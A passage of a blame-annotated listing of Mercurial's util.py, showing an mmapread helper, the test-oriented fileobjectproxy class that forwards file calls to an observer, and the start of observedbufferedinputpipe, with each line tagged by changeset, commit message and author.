36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	416 return data
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	417
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	418
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	419 def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	420 try:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	421 fd = getattr(fp, 'fileno', lambda: fp)()
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	422 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	423 except ValueError:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	424 # Empty files cannot be mmapped, but mmapread should still work. Check
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	425 # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	426 if os.fstat(fd).st_size == 0:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	427 return b''
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	428 raise
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	429
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	430
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	431 class fileobjectproxy(object):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	432 """A proxy around file objects that tells a watcher when events occur.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	433
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	434 This type is intended to only be used for testing purposes. Think hard
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	435 before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	436 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	437
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	438 __slots__ = (
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	439 '_orig',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	440 '_observer',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	441 )
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	442
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	443 def __init__(self, fh, observer):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	444 object.__setattr__(self, '_orig', fh)
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	445 object.__setattr__(self, '_observer', observer)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	446
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	447 def __getattribute__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	448 ours = {
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	449 '_observer',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	450 # IOBase
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	451 'close',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	452 # closed if a property
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	453 'fileno',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	454 'flush',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	455 'isatty',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	456 'readable',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	457 'readline',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	458 'readlines',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	459 'seek',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	460 'seekable',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	461 'tell',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	462 'truncate',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	463 'writable',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	464 'writelines',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	465 # RawIOBase
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	466 'read',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	467 'readall',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	468 'readinto',
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	469 'write',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	470 # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	471 # raw is a property
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	472 'detach',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	473 # read defined above
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	474 'read1',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	475 # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	476 # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	477 }
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	478
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	479 # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	480 if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	481 return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	482
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	483 return getattr(object.__getattribute__(self, '_orig'), name)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	484
36840 6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	485 def __nonzero__(self):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	486 return bool(object.__getattribute__(self, '_orig'))
36840 6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	487
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	488 __bool__ = __nonzero__
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	489
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	490 def __delattr__(self, name):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	491 return delattr(object.__getattribute__(self, '_orig'), name)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	492
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	493 def __setattr__(self, name, value):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	494 return setattr(object.__getattribute__(self, '_orig'), name, value)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	495
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	496 def __iter__(self):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	497 return object.__getattribute__(self, '_orig').__iter__()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	498
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	499 def _observedcall(self, name, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	500 # Call the original object.
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	501 orig = object.__getattribute__(self, '_orig')
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	502 res = getattr(orig, name)(args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	503
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	504 # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	505 # so it can react, log, etc.
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	506 observer = object.__getattribute__(self, '_observer')
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	507 fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	508 if fn:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	509 fn(res, args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	510
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	511 return res
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	512
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	513 def close(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	514 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	515 'close', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	516 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	517
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	518 def fileno(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	519 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	520 'fileno', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	521 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	522
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	523 def flush(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	524 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	525 'flush', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	526 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	527
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	528 def isatty(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	529 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	530 'isatty', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	531 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	532
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	533 def readable(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	534 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	535 'readable', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	536 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	537
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	538 def readline(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	539 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	540 'readline', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	541 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	542
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	543 def readlines(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	544 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	545 'readlines', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	546 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	547
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	548 def seek(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	549 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	550 'seek', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	551 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	552
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	553 def seekable(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	554 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	555 'seekable', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	556 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	557
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	558 def tell(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	559 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	560 'tell', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	561 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	562
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	563 def truncate(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	564 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	565 'truncate', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	566 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	567
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	568 def writable(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	569 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	570 'writable', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	571 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	572
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	573 def writelines(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	574 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	575 'writelines', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	576 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	577
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	578 def read(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	579 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	580 'read', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	581 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	582
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	583 def readall(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	584 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	585 'readall', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	586 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	587
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	588 def readinto(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	589 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	590 'readinto', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	591 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	592
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	593 def write(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	594 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	595 'write', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	596 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	597
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	598 def detach(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	599 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	600 'detach', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	601 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	602
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	603 def read1(self, args, *kwargs):
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	604 return object.__getattribute__(self, '_observedcall')(
9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	605 'read1', args, *kwargs
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	606 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	607
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	608
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	609 class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	610 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	611
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	612 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	613 bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	614 ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	615
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	616 This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	617 ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	618 ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	619 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	620
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	621 def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	622 res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	623
